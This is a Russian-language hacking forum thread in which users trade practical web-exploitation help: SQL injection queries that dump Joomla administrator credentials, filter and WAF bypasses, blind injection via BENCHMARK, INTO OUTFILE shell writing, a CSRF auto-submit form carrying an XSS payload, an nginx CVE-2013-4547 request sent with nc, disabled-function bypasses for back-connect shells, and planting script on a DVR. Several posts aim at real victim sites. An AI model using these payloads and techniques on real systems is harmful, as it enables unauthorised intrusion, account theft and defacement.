Disable functions : passthru, exec, system, popen, shell_exec, proc_open, proc_close, proc_get_status, proc_nice, proc_terminate
Есть валидный ftp аккаунт.

Как видите многие функции запрещены, так же я пробовал выполнить команду через ftp_exec, но был послан лесом,
код (из примера на php.su):


Подскажите, какие еще у меня есть варианты?
Спасибо.Статья SSI от уважаемого Twost (https://rdot.org/forum/showthread.php?t=1607)

omen666
04.11.2014, 14:34
Ravenous, там many to many:

SELECT concat_ws(0x3a,username,password)
FROM `j6iw1_user_usergroup_map` inner join `j6iw1_users` on `j6iw1_user_usergroup_map`.user_id=`j6iw1_users`.i d
WHERE group_id in (6,7,8)
GROUP BY user_id;

где
6 - Manager;
7 - Administrator;
8 - Super Administrator;Panic красава, прикольный join :)
Шаблон под SQL inj, если мы не знаем префикс будет выглядеть вот так:
from #__user_usergroup_map inner join #__users on #__user_usergroup_map.user_id=#__users.id WHERE group_id in (6,7,8)

b1ng0
04.11.2014, 21:04
Статья SSI от уважаемого Twost (https://rdot.org/forum/showthread.php?t=1607)

Жаль, но SSI работать не пожелал... Есть ли еще варианты?

Chelios
15.11.2014, 13:52
часто бывает в джумле стоит какой-то модуль для защиты от sql инъекций. определил что реагирует на "jos". если оно встречается, то появляется:

403: Access Forbidden
Attempted SQL injection in REQUEST_URI

пробовал шаманить - ничего не получилось. мб подскажет кто как можно обойти ?)

omen666
15.11.2014, 18:25
часто бывает в джумле стоит какой-то модуль для защиты от sql инъекций. определил что реагирует на "jos". если оно встречается, то появляется:

пробовал шаманить - ничего не получилось. мб подскажет кто как можно обойти ?) database table prefix #__

zuzzz
18.11.2014, 05:32
в IPB есть код запрещающий выполнение sql запросов, которые содержат подзапросы. Т.е. проверяется слово union и select. Можно ли эту проверку обмануть при sql инъекции?


if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
{
$this->throwFatalError( "You are not allowed to use comments in your SQL query..." );
return false;
}

if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
{
$this->throwFatalError( "UNION query joins are not allowed..." );
return false;
}
else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
{
if ( count( $matches ) > 1 )
{
$this->throwFatalError( "SUB SELECT query joins are not allowed..." );
return false;
}
}

m0Hze
18.11.2014, 06:53
в IPB есть код запрещающий выполнение sql запросов, которые содержат подзапросы. Т.е. проверяется слово union и select. Можно ли эту проверку обмануть при sql инъекции?


if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
{
$this->throwFatalError( "You are not allowed to use comments in your SQL query..." );
return false;
}

if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
{
$this->throwFatalError( "UNION query joins are not allowed..." );
return false;
}
else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
{
if ( count( $matches ) > 1 )
{
$this->throwFatalError( "SUB SELECT query joins are not allowed..." );
return false;
}
}


Помоему, только первый запрос регистро независимый (что смешно), а проверки на подзапросы в таком случае обходятся простым регистром.

omen666
18.11.2014, 07:20
в IPB есть код запрещающий выполнение sql запросов, которые содержат подзапросы. Т.е. проверяется слово union и select. Можно ли эту проверку обмануть при sql инъекции?


if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
{
$this->throwFatalError( "You are not allowed to use comments in your SQL query..." );
return false;
}

if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
{
$this->throwFatalError( "UNION query joins are not allowed..." );
return false;
}
else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
{
if ( count( $matches ) > 1 )
{
$this->throwFatalError( "SUB SELECT query joins are not allowed..." );
return false;
}
}


m0Hze дело говорит, только в первом шаблоне регистронезависимое сравнение с модификатором i.

$_tmp = 'SELECT 1 UNION SELECT 2';

if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
{
echo 'You are not allowed to use comments in your SQL query...';
//$this->throwFatalError( "You are not allowed to use comments in your SQL query..." );
//return false;
}

if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
{
echo 'UNION query joins are not allowed...';
//$this->throwFatalError( "UNION query joins are not allowed..." );
//return false;
}
else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
{
if ( count( $matches ) > 1 )
{
echo 'SUB SELECT query joins are not allowed...';
//$this->throwFatalError( "SUB SELECT query joins are not allowed..." );
//return false;
}
}

run php online (http://sandbox.onlinephpfunctions.com/code/160c18c3fc14b3c851dcd56a38b3db83289067e1)

zuzzz
18.11.2014, 09:17
omen666, m0Hze
Извиняюсь, я не заметил, что перед проверкой еще такая строка: $_tmp = strtolower( $this->_removeAllQuotes($the_query) ); Sql приводится к нижнему регистру.
В общем не поможет, и я пробовал.

и того получается:

$_tmp = strtolower( $this->_removeAllQuotes($the_query) );

if ( preg_match( "#(?:/\*|\*/)#i", $_tmp ) )
{
$this->throwFatalError( "You are not allowed to use comments in your SQL query..." );
return false;
}

if ( preg_match( "#[^_a-zA-Z]union[^_a-zA-Z]#s", $_tmp ) )
{
$this->throwFatalError( "UNION query joins are not allowed..." );
return false;
}
else if ( preg_match_all( "#[^_a-zA-Z](select)[^_a-zA-Z]#s", $_tmp, $matches ) )
{
if ( count( $matches ) > 1 )
{
$this->throwFatalError( "SUB SELECT query joins are not allowed..." );
return false;
}
}

ncroot
19.11.2014, 05:22
чем читать .git/index? ужасно неудобное чтиво, если случается натыкаться

Matthew
19.11.2014, 08:41
Если ничего не закрыто (индекс например) то через git clone http://hostname/.git/
Если индекс есть но не удаётся предыдущим методом, то выкачиваем рекурсивно через wget и уже на локалке смотрим историю гита и прочие интересности.

Кроме того есть такая полезная софтинка: https://github.com/evilpacket/DVCS-Pillage

romashka_sky
19.11.2014, 18:02
чем читать .git/index? ужасно неудобное чтиво, если случается натыкаться

https://rdot.org/forum/showthread.php?p=32395#post32395

klanc
27.11.2014, 20:32
Приветствую всех жителей форума! Есть тренировочная площадка от Acuentix для поиска уязвимостей в веб-приложениях (она так же указана в ссылках на OWASP'e).
На ней я нашел много всего, но пока особенно интересно место (http://testphp.vulnweb.com/search.php?test=query), где в поиске (слева сверху) можно вывести html код (я использовал следующий вариант: </h2><h1>test for html infection</h1><h2>).
Но при этом любой скриптовый код, будь он в тегах <script></script> или просто в атрибуте src какого-нибудь html тега, этот код удаляется при поиске.
Так вот у меня такой вопрос: потенциально возможно ли раскрутить до пассивной XSS или чего-то подобного?
http://s019.radikal.ru/i628/1411/74/896bab8fd8af.png
ЗЫ понимаю, что все далеко нетупые, но скрин прилагаю для удобства.

Matthew
27.11.2014, 20:37
Само приложение ничего не удаляет. Удаляет XSS Auditor в Chrome. Попробуйте в Firefox - должно работать.

klanc
27.11.2014, 22:28
Само приложение ничего не удаляет. Удаляет XSS Auditor в Chrome. Попробуйте в Firefox - должно работать.
У меня тест проводился в сафари, но суть одна и та же, потому что в мозиле работало все: достаточно было вставить в поиск обычный алерт со скриптовыми тегами, спасибо.

klanc
29.11.2014, 00:29
У меня возник такой вопрос по предыдущему сообщению (https://rdot.org/forum/showpost.php?p=37466&postcount=3349): да, там в форме поиска выполняется произвольный JavaScirpt код, но как можно было бы этим воспользоваться в боевых условиях?
То есть какую вообще угрозу эта уязвимость представляет?
Просто там нет в адресной строке GET-параметров, через которые можно было бы получить ссылку на страницу, где выполняется поиск со скриптом в поисковой форме.

Matthew
29.11.2014, 11:45
Всё просто. Жертва проходит по ссылке ведущей на страницу, контроллируемую злоумышленником, на которой следующий код:

<body onload=document.forms[0].submit()>
<form action="http://testphp.vulnweb.com/search.php?test=query" method="POST">
<input type="hidden" name="searchFor" value="<script>alert(8)</script>">
<input type="hidden" name="goButton" value="go">
</form>
</body>


Таким образом производится отправка post запроса от имени жертвы

klanc
01.12.2014, 00:56
Matthew, спасибо за ответы.

Продолжаю тему по XSS...
Был найден еще один очень интересный случай: можно выполнить произвольный JavaScript код, но данную XSS непонятно, можно ли вообще эксплуатировать.
Что имеем:
Есть форма заполнения комментария, это форма обрабатывает HTML-код, то есть у меня хорошо выполнялся код <iframe onload=alert()></iframe> или <img src='#' onerror=alert() />, и после этого на странице с комментом была Stored XSS (или пассивная, как кому удобнее), но проблема в том, что этот коммент заносится не в БД на сервере, а в сессию, доступ к которой осуществляется через один параметр в cookie у пользователя, и хранится это сообщение/комментарий (с кодом) там в течении сессии, то есть там в той системе юзеры для себя комментируют/делают себе пометки.
Я стал разбираться, можно ли как-то сформировать ссылку, пройдя по которой пользователь оставит коммент с JS-кодом и соответственно выполнится этот код, но очередной барьер заключался в том, что при нажатии кнопки по добавлению коммента данные формы из поля для текста коммента отправляются не посредством обычного POST запроса и вообще не через атрибут action, а через аттрибут onclick на кнопке, там вызывается JS функция:
<input type="button" onclick="note_save('rent', 'flat', 12081370);" value="Сохранить">
Ссылки на страницу дать, к сожалению, не могу из-за правил форума/темы, но приведу листинг кода этой функции:
function note_save(deal_type, offer_type, oid) {
var text,
existed = false;

text = $.trim($('#note_comment_' + deal_type + '_' + offer_type + '_' + oid).val());
existed = $('#note_span_' + deal_type + '_' + offer_type + '_' + oid).length > 0 ? true : false;

function renderComment() { //функция поста коммента
$('#note_' + deal_type + '_' + offer_type + '_' + oid).empty();
$("#note_" + deal_type + '_' + offer_type + '_' + oid).append(text ? '<span style="background:#D2DBDA;"><b>Ваш комментарий:</b></span> <span id=note_span_' + deal_type + '_' + offer_type + '_' + oid + '>' + text + '</span>' : '');
$("#note_" + deal_type + '_' + offer_type + '_' + oid).show();
$("#note_a_" + deal_type + '_' + offer_type + '_' + oid).show();
$("#note_text_" + deal_type + '_' + offer_type + '_' + oid).hide();
$("#note_text_" + deal_type + '_' + offer_type + '_' + oid).empty();
}

function sendRequest() { //функция формирования и отправки ajax-запроса
var url = "/js/note.php";
request.open("POST", url, true);
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
request.send("mode=" + (text ? 'save' : 'delete') +
"&deal_type=" + escape(deal_type) +
"&offer_type=" + escape(offer_type) +
"&oid=" + escape(oid) +
"&text=" + escape(encodeURIComponent(text)));
}


if (text || existed) {
sendRequest(); //тут делается ajax-запрос на добавление коммента в сессию
renderComment(); //пост коммента через JavaScript, конкрентно с помощью jQuery (естественно, без обновления страницы)
}
}

Три функции show(), hide() и empty() – это, как многие догадались, функции jQuery.
Тут мы видимо, что эта функция формирует Ajax запрос методом POST, в котором передает параметры, куки, один из которых играет ключевую роль (ниже опишу) и наш коммент.
Итак заголовки запроса:

Accept text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding gzip, deflate
Accept-Language ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Cache-Control no-cache
Connection keep-alive
Content-Length 123
Content-Type application/x-www-form-urlencoded; charset=UTF-8
Cookie h_p=881a75edd1d32c20f3dee5a94452f1c3; complaint=622d9f9dea075b994d3c2f60867a5db3; first=1417367988; __utma=63792317.339146785.1417367991.1417371990.14 17384115.3; __utmz=63792317.1417367991.1.1.utmcsr=(direct)|utm ccn=(direct)|utmcmd=(none); PHPSESSID=7apd9n3llr0njrk366gbah0lb3; __utmb=63792317.4.9.1417384164174; __utmc=63792317; _ym_visorc_67132=w
Host www.cian.ru
Pragma no-cache
Referer http://www.cian.ru/cat.php?deal_type=1&obl_id=1&city[0]=1
User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:33.0) Gecko/20100101 Firefox/33.0

Параметры (тело запроса):
mode=save&deal_type=rent&offer_type=flat&oid=12081370&text=%253Ciframe%2520onload%253Dalert%28%29%253E%2 53C%252Fiframe%253E
Жирным выделены в запросе - это куки, по которому потом из сессии вытягивается коммент, а в параметрах жирным выделен, собственно, сам коммент, закодированный.

Это все сведения, которые нарыл, и от которых надо отталкиваться.
В принципе можно написать PHP или JS-скрипт, который отправляет Ajax-запрос, как это делается в той функции note_save(), устанавливает там текст коммента, свое значение complaint для кук, и после этого перенаправляет на нужную страницу с комментом.
Но потом проблема будет в том, что это, установленное скриптом, значение complaint на сервере, не совпадет со значением из кук юзера, которого перенаправили, ведь сайт ему когда-то присвоил свое значения или сайт установит новое значение, которое так же не будет совпадать с нашим.
НО это сайт будет присваивать свое значение, если мы просто перенаправим пользователя, А ЕСЛИ мы это сделаем через GET-запрос, где в параметре Cookie отправим свое значение complaint (как будто от пользователя из кук), то получается, что мы как бы обойдем стороной старые куки юзера (если они есть) или в случае их отсутствия скажем сайту, что они типа есть (ведь в запросе их указали).

Поэтому чисто теоретически, если не будет конфликта с некоторыми другими параметрами куки типа идентификаторов сессий (но этого не должно быть, я проверял, они не влияют на запросы), то это может сработать. Я пока только выдвинул гипотезу, но не тестировал ее, написал вопрос, может быть чего-то не учел, забыл или недопонял, поэтому если кому-то будет интересно, то может прочитать и, возможно, найдет какой-то недочет в данной схеме, пока я еще не попробовал ее в действии.

Matthew
01.12.2014, 21:31
Я ничего не понял (и не удивительно, ведь предпоследний абзац это одно(!) предложение), но судя по всему запрос на сохранение этой "заметки" не обладает никаким CSRF-токеном, если параметр oid им не является. Так вот, если oid действительно но является CSRF токеном то мы так же можем сохранить свой пейлоад в сессии пользователя через POST запрос, как я показывал ранее.

klanc
01.12.2014, 23:18
Я ничего не понял (и не удивительно, ведь предпоследний абзац это одно(!) предложение), но судя по всему запрос на сохранение этой "заметки" не обладает никаким CSRF-токеном, если параметр oid им не является. Так вот, если oid действительно но является CSRF токеном то мы так же можем сохранить свой пейлоад в сессии пользователя через POST запрос, как я показывал ранее.
Прошу пощения, что так запутанно написал (я немного подкорректировал). Я еще не пробовал реализовать ту схему, завтра попробую на интерес. Да, oid – не CSRF токен, id поста, к которому пишется коммент.
Попробую описать более просто и без лишних деталей.
Вобщем там ситуация такая: на сервере с помощью определенного POST запроса можно временно сохранить текст комментария вместе со значением complaint. С помощью этого значения (complaint) сервер потом определяет, можно ли показывать пользователю коммент, то есть когда пользователь запрашивает страницу с постом, он ведь отправляет серверу свои куки, в которых есть это значение, сервер по этому значению ищет у себя комменты и отображает их (если они есть).
Поэтому идея заключается, что можно сначала установить через POST-запрос коммент с кодом и вместе с определенным значением complaint для этого коммента, затем через метод GET запросить страницу с постом, к которому был добавлен коммент с кодом, в этом запросе в параметре COOKIE передать наше установленное до этого значение complaint, поэтому сервер должен будет вернуть страницу с комментом, где выполнится наш код.

Я понял, что вы имели ввиду, только возник такой вопрос: ведь когда мы сохраняем плейлоад в сессии через активацию формы (как вы до этого приводили пример), то браузер автоматически перенаправляет пользователся на эту страницу, к которой идет POST-запрос, а можно ли этого (перенаправления) как-то избежать?
Просто плейлоад загружается POST-запросом на одну страницу, а коммент отображается на другой. Поэтому я сначала думаю просто сделать POST-запрос в ту страницу, куда код заливается, а потом уже редирект на другую, но может быть подобное можно сделать через форму.

Matthew
02.12.2014, 10:32
Можно сделать POST запрос в скрытом iframe. Вот пример кода:

<body onload=document.forms[0].submit()>
<iframe name="payload" style="display:none"></iframe>
<form action="http://testphp.vulnweb.com/search.php?test=query" method="POST" target="payload">
<input type="hidden" name="searchFor" value="<script>alert(8)</script>">
<input type="hidden" name="goButton" value="go">
</form>
</body>


После этого можно уже делать редирект на страницу где пейлоад выполнится

klanc
02.12.2014, 20:10
Вобщем я попробовал, оба способа работают, ваш только покороче и поудобнее в плане реализации получается, спасибо.

zedix
03.12.2014, 23:23
Возможно ли как-то эксплуатировать подобную XSS:
допустим, есть обычная форма для комментирования - поле для текста и кнопочка. Теперь допустим, что я лютый разраб и вообще никак не фильтрую введенный коммент, то есть по сути полная свобода мысли =)
Но вот только коммент на страничку добавляется с помощью Javascript'а, а при последующем обновлении странички уже ничего нет (это такое условие задачи), то есть выполнить код можно только во время поста коммента
Вопрос: опасна ли такая уязвимость, то есть возможно ли как-то раскрутить такую XSS?
Ну и конечно же код для наглядности прилагается
<html>
<head>
<script>
function post(){
var text=document.getElementById('comment_area').value ;
document.getElementById('comment').innerHTML=text;
}
</script>
</head>
<body>

<textarea id="comment_area"></textarea>
<input type="button" onclick="post();" value="Post Comment">
<div id="comment"></div>

</body>
</html>

Matthew
04.12.2014, 10:04
При таких условиях скорее всего нет. Есть возможность проэксплуатировать если можно задать содержимое textarea через параметр запроса, а кнопку нажать через clickjacking. В ином случае ничего не выйдет

klanc
06.12.2014, 22:30
Это так называемая self XSS. Да, именно в такой конфигурации целевой системы данная уязвимость вообще неэксплуатируема.
Но, опять же, это только если на сайте лежит только эта единственная страница (то есть сайт одностраничный), а современные веб-приложения, даже простые, - это довольно сложно организованные системы, поэтому можно сыграть на этом и тогда появиться возможность этой XSS воспользоваться.
Но если был вопрос о том, что можно сделать, если можно самим придумывать ситуации (приложения), в которых данную уязвимость можно раскрутить, то кроме ситуации, предложенной Matthew, немного изменяя ваши условия я могу предложить следующее:
если бы пост сохранялся, то была бы stored XSS, но только каждый юзер видел бы только свои посты, то есть мог бы выполнить только свой JS код, который залил до этого, поэтому возникла бы проблема, что мы просто не могли бы постнуть скрипт за пользователя (или как-то сделать так, чтобы пост с кодом принадлежал пользователю). В этой ситуации может сработать такая схема: мы сначала постим злой код с нашего аккаунта, затем с помощью CSRF делаем ссылку на logout, затем login только уже в наш аккаунт (где висит запощенный код) и код успешно выполняется.

faza02
06.12.2014, 23:57
Error-based SQLi.
Запрос:
id=1'or(extractvalue(1,concat(0x3a,(select(info)fr om(information_schema.processlist)/**/limit/**/1))))='1
SELECT info FROM information_schema.processlist;
insert into staff_session_all (
SELECT file_priv FROM mysql.user WHERE user = myuser;
Y
файлы читать могу, все нормально. подскажите, как будет выглядеть запрос на INTO OUTFILE?

spari
07.12.2014, 10:52
Error-based SQLi.
Запрос:
id=1'or(extractvalue(1,concat(0x3a,(select(info)fr om(information_schema.processlist)/**/limit/**/1))))='1
SELECT info FROM information_schema.processlist;
insert into staff_session_all (
SELECT file_priv FROM mysql.user WHERE user = myuser;
Y
файлы читать могу, все нормально. подскажите, как будет выглядеть запрос на INTO OUTFILE?

SELECT '<?phpinfo()?>' INTO OUTFILE '/full/path/x.php';

QaRTiN
26.12.2014, 01:45
Ребят,хелп:
как расшифровать пасс в AES?
В ошибке скрипта спален ключ шифрования,что-то вроде "select ... AES_DECRYPT(pass,'key')"
с помощью скули вывел HEX-значение пароля HEX(pass)
Ответ очевиден,но расшифровать с помощью того же AES_DECRYPT или DECODE у меня не вышло,выдает NULL

profexer
26.12.2014, 01:54
UNHEX не забыл?
Может спален неправильный ключ? Если есть возможность зарегаться, проверь конечный хеш с ожидаемым.
Еще конечно можно побрутить... но шансов мало.

QaRTiN
26.12.2014, 02:04
UNHEX не забыл?
Может спален неправильный ключ? Если есть возможность зарегаться, проверь конечный хеш с ожидаемым.
Еще конечно можно побрутить... но шансов мало.

зарегаться возможности нет,ключ вряд ли неправильный...
вот:
ключ = empabhi70004032BUSempabhi
HEX(pass) = F8229B2AFBC3E72F5D65FB4FF50B19C9

пробывал:
select AES_DECRYPT(UNHEX("F8229B2AFBC3E72F5D65FB4FF50B19C9"),'empabhi70004032BUSempabhi');
select DECODE(UNHEX("F8229B2AFBC3E72F5D65FB4FF50B19C9"),'empabhi70004032BUSempabhi');

profexer
26.12.2014, 02:36
Убедись что правильно стащил хеш пароля (... where pass=0xF8229B2AFBC3E72F5D65FB4FF50B19C9).
Если сойдется - тогда или ключ неправильный или алгоритм.

SeNaP
03.01.2015, 22:41
Есть mysql инъекция в INSERT, как можно составить под запрос на select into outfile ?
И вообще, возможно ?
INSERT INTO gg (
Id,
d,
g,
c

) VALUES (
'',
'1420314200',
'127.0.0.1',
'' + (SELECT "<?php phpinfo();" INTO OUTFILE '/cache/test.php' ) + ''
);

так вот не работает.

Chelios
15.01.2015, 02:02
uname -a

Linux x.com 2.6.18-308.el5.028stab099.3 #1 SMP Wed Mar 7 15:56:00 MSK 2012 x86_64

хочу порутать, но проблема в том, что не могу сделать бэк-коннект из-за отключенных системных функций

Disabled PHP Functions: dl , exec , passthru , pcntl_exec , pfsockopen , popen , posix_kill , posix_mkfifo , posix_setuid , proc_close , proc_open , proc_terminate , shell_exec , system , leak , posix_setpgid , posix_setsid , proc_get_status , proc_nice , show_source , escapeshellcmd

php 5.3.3

подскажите как можно это обойти и сделать бэк-коннект или хотя бы бинд порта.

SmartBHT
15.01.2015, 08:05
Chelios:

cgi =>

Options +Indexes +FollowSymLinks +ExecCGI
AddType application/x-httpd-cgi .pl .py

ssi =>

Options +Includes
AddType text/html .shtml
AddHandler server-parsed .shtml
AddOutputFilter INCLUDES .shtml

Shadowfolder
17.01.2015, 01:13
Есть доступ на серв, через asp шелл. На команды в cmd выводит denied.
Подскажите, как скачать одну папку и все файлы вложенные в ней? Или подскажите может asp шелл, где есть возможность зазипить папку и потом скачать.

-Gory King-
18.01.2015, 00:52
Есть доступ на серв, через asp шелл. На команды в cmd выводит denied.
Подскажите, как скачать одну папку и все файлы вложенные в ней? Или подскажите может asp шелл, где есть возможность зазипить папку и потом скачать.

https://www.youtube.com/watch?v=It4WiP2O4xw

Shadowfolder
18.01.2015, 06:09
Не выйдет, там закрыт порт rdp :(
Или может я не там ищу порт rdp?
Айпи винды на который висит сайт, это тот же айпи который пингуется site.com ? А у жертвы порт rdp закрыт. И у близлежащих тел тоже.

Shadowfolder
19.01.2015, 07:20
Подскажите, чем пользуетесь для статического анализа кода пхп? Сколько не смотрел, все тулзы старые, да и некорректно работают.. Нужно прочекать на дыры, но я не такого уровня, чтобы самому это сделать.

Neomor
20.01.2015, 08:38
Подскажите, чем пользуетесь для статического анализа кода пхп? Сколько не смотрел, все тулзы старые, да и некорректно работают.. Нужно прочекать на дыры, но я не такого уровня, чтобы самому это сделать.

Попробуйте RIPS (http://rips-scanner.sourceforge.net/)

Shadowfolder
20.01.2015, 11:43
Rips уже пробовал, увы он не оправдал мои ожидания) На двух файлах даже sqli не нашел. Сколько тулов для анализа aspx, а на php мало(

sha256
20.01.2015, 13:57
Rips уже пробовал, увы он не оправдал мои ожидания) На двух файлах даже sqli не нашел. Сколько тулов для анализа aspx, а на php мало(
Если код написан на ООП, rips не поможет. Достаточно grep'a и правильных регулярок. Но в Вашем случае, сразу почему то вспомнился плохой танцор ...

SynQ
20.01.2015, 15:07
RIPS сейчас переписывают авторы, будет совсем другим, напр. научится цепочки object injection строить.

Rus
20.01.2015, 19:04
Приветствую, нужен совет...
Есть telnet'овый root доступ на видеорегистратор, на котором есть web интерфейс(сервер). Я хочу добавить чуток (<script> src="..."<\script>) кода в одну из страниц, но проблема в том, что папка с web'ом /dev/mtdblock3 on /mnt/web type cramfs (ro,relatime).
Нужная папка web. Но в нее хер че запишешь. Монтирование, перемонтирование не помогает, пытался залить скрипт по совету гугла, который вроде как должен был помочь, но через telnet это гиблое дело, wget'a там нет. Все это крутиться под busybox и ARM. Че можно сделать?
И второй вопрос, как можно пробросить порт на этом устройстве что-бы локалку просканить?

[root@LocalHost /]$ mounts
rootfs on / type rootfs (rw)
/dev/root on / type cramfs (ro,relatime)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /dev type tmpfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,mode=600,ptmxmode=000)
/dev/mtdblock2 on /usr type cramfs (ro,relatime)
/dev/mtdblock4 on /mnt/custom type cramfs (ro,relatime)
/dev/mtdblock5 on /mnt/logo type cramfs (ro,relatime)
/dev/mtdblock6 on /mnt/mtd type jffs2 (rw,relatime)
/dev/mem on /var type ramfs (rw,relatime)
none on /proc/bus/usb type usbfs (rw,relatime)
/dev/mtdblock3 on /mnt/web type cramfs (ro,relatime)

СПИСОК ДОСТУПНЫХ КОММАНД:

3gpd-DIAL chat encryption_wpa2_psk_tkip.sh ln passwd sync
3gpd-disc chmod encryption_wpa_psk_aes.sh load-modules.sh ping tail
3gpd-td chown encryption_wpa_psk_tkip.sh login poweroff tar
3gpd-wcdma cp env ls ppp-on telnet
BurnHWID cttyhack false lsmod ppp-on-qisda telnetd
BurnSataHub date fdisk macGuarder ppp-on-y test
ProductDefinition dd free mesg pppd_3g time
Sofia.tar.lzma df getty mkdir ps timecheck
Squirrel/ dirname halt mkdosfs pwd top
[ dmesg head mkfs.vfat reboot topsofia
[[ dogtest hexdump mknod reset touch
app du himm mnt rm true
arping dvrHelper hush mount rmdir udevd
ash dvrbox hwclock msh rmmod udevstart
awk echo ifconfig mv route umount
basename encryption_open_none.sh init netinit routedaemon unrar
beep encryption_open_wep.sh insmod netstat sed usb3GID.conf
busybox encryption_share_wep.sh kill nfs sh
cat encryption_wpa2_psk_aes.sh killall ntfs-3g sleep

QaRTiN
25.01.2015, 01:03
ребят,хэлп

такая ситуация: жертва на сервере c nginx,есть аплоад файлов(любых в любую папку) и читалка файлов

проблема в том,что для единственной папки доступной из-под веба для записи,в конфиге nginx'a прописано такое:

location ~* .*papka.* {
location ~ \.php$ {
return 404;
}
try_files $uri =404;
}

phtml не канает,предлагает скачать

собссно,как можно выполнить код?

Pashkela
25.01.2015, 01:44
ну не знаю, а что будет, если .php.ololo? Хотя про двойные расширения в nginx не в курсе

QaRTiN
25.01.2015, 02:39
ну не знаю, а что будет, если .php.ololo? Хотя про двойные расширения в nginx не в курсе

предлагает скачать(

BigBear
25.01.2015, 10:51
Для nginx я помню всего 2 баги, позволяющие выполнить php код в обход ограничений

1) CVE-2013-4547

Когда грузите файл php_ (подчёркивание=пробел)

Подробнее тут (http://habrahabr.ru/post/202796/)

2) И ещё одна бага 2010 года, CVE не смог найти

Когда грузите шелл как картинку и исполняете методом .gif/.php

Подробнее тут (http://habrahabr.ru/post/100961/)

Второй скорее всего не подойдёт. Первый попробуй.

QaRTiN
25.01.2015, 16:56
Для nginx я помню всего 2 баги, позволяющие выполнить php код в обход ограничений

1) CVE-2013-4547

Когда грузите файл php_ (подчёркивание=пробел)

Подробнее тут (http://habrahabr.ru/post/202796/)

2) И ещё одна бага 2010 года, CVE не смог найти

Когда грузите шелл как картинку и исполняете методом .gif/.php

Подробнее тут (http://habrahabr.ru/post/100961/)

Второй скорее всего не подойдёт. Первый попробуй.

1)Гружу в папку файл "file[пробел]" c любым php-кодом,затем в консоли:
echo -e "GET /papka/file \0.php HTTP/1.1\r\nHost: www.host.com\r\n\r\n" | nc -w 1 host.com 80

и мне выдает:

HTTP/1.1 403 Forbidden
Server: nginx/1.4.1
Date: Sun, 25 Jan 2015 15:27:49 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.13--pl0-gentoo

f
Access denied.

0



серв уязвим? т.к. замени я "... /papka/file \0.php ..." на "... /papka/file \0.htm ..." - в ответ мне придет HTTP/1.1 200

2) не сработало

nginx/1.4.1
пробывал .php2,.php3,.phps,.phtml,.php_

P.S. на сервере так же есть Zen Cart v1.3.8a и Crafty Syntax Live Help 3.3.6 - может кто знает про LFI или RCE на этих цмс)

romashka_sky
26.01.2015, 22:58
ребят,хэлп

такая ситуация: жертва на сервере c nginx,есть аплоад файлов(любых в любую папку) и читалка файлов

проблема в том,что для единственной папки доступной из-под веба для записи,в конфиге nginx'a прописано такое:

location ~* .*papka.* {
location ~ \.php$ {
return 404;
}
try_files $uri =404;
}

phtml не канает,предлагает скачать

собссно,как можно выполнить код?

Если nginx работает как реверс-прокси для, например, Apache, то можно попытать счастья - просканировать открытые порты, возможно, Apache доступен на другом порту(81, 8000, 8080, 8888, etc.) и позволит выполнить php.

Shadowfolder
29.01.2015, 20:42
Подскажите плиз. Есть sqli в postgresql. Метод time based, из-за очень долгого кручения вообще не могу найти данные аккаунтов сайта... Бд только 3.
information_schema, pg_catalog, public и все.. В pg_catalog-e данных не нашел, что мне нужны. А в public-e таблиц аж >500шт. Всех их крутить уйдет вечность. И у всех такие имена.
t018djfhv
t0oslkajs и т.д.
Вопрос, данные аккаунтов могут содержаться в postgresql вообще, может быть кому встречалось такое? Двиг на php если что. А то думаю кручу ли я зря, вдруг в postgresql обычно мусор, а например данные аккаунтов стоят на зафильтрованной внутренней mysql базе.

faza02
30.01.2015, 11:40
уверены, что там возможно крутить только с помощью time-based?
конечно, могут.

nickcerdito
13.02.2015, 12:15
Какие есть варианты для инъекции в запросеSELECT param1 FROM table where param2=1 LIMIT [SQL]если фильтруется union и подавляется вывод ошибок?
Промучался час и ничего не придумал. В procedure analyse можно каким-то образом влепить SLEEP()?

BigBear
13.02.2015, 13:35
Какие есть варианты для инъекции в запросеSELECT param1 FROM table where param2=1 LIMIT [SQL]если фильтруется union и подавляется вывод ошибок?
Промучался час и ничего не придумал. В procedure analyse можно каким-то образом влепить SLEEP()?

Конечно, возможно, но только через альтернативу BENCHMARK.

Вектор через SLEEP() в данном случае не работает.

Пример

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(), 1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

nickcerdito
13.02.2015, 16:01
Конечно, возможно, но только через альтернативу BENCHMARK.
Вектор через SLEEP() в данном случае не работает.Да, спасибо, я, видимо, документацию не дочитал, делал все то же самое, но через sleep.

omen666
16.02.2015, 07:27
Здравствуйте! Есть иньекция в Joomla, вот так норм:
0") /*!union select*/ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,3 7,38,39`
А если уже пхаю from #__users, jos_users и т.д. то не работает (.
Принтабельое 6 поле, ошибки мускуля нет.

faza02
16.02.2015, 08:41
